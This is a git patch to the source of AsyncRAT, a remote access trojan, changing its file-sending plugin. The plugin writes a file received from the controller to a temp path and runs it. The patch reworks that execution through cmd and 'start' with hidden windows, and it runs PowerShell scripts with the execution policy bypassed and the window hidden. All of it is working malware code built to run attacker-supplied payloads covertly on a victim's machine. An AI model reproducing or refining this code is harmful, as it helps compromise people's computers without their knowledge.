From ec76c9297471d76509ed7c7340f585042c55b721 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 9 Oct 2019 12:01:16 +0300 Subject: [PATCH] Update HandleSendTo.cs --- .../SendFile/SendFile/Handler/HandleSendTo.cs | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs index c2596a0..5bbf28a 100644 --- a/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs +++ b/AsyncRAT-C#/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs @@ -18,9 +18,24 @@ namespace Plugin.Handler string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; File.WriteAllBytes(fullPath, Methods.Decompress(unpack_msgpack.ForcePathObject("File").GetAsBytes())); if (unpack_msgpack.ForcePathObject("Extension").AsString.ToLower().EndsWith(".ps1")) - Process.Start(new ProcessStartInfo { FileName = "powershell", Arguments = "–ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"" + fullPath + "\"", CreateNoWindow = true, WindowStyle = ProcessWindowStyle.Hidden }); + Process.Start(new ProcessStartInfo + { + FileName = "cmd", + Arguments = $"/k start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -File \"{fullPath}\" & exit", + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + ErrorDialog = false, + }); else - Process.Start(fullPath); + Process.Start(new ProcessStartInfo { + FileName = "cmd", + Arguments = $"/k start {fullPath} & exit", + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + ErrorDialog = false, + }); if (unpack_msgpack.ForcePathObject("Update").AsString == "true") { new HandleUninstall();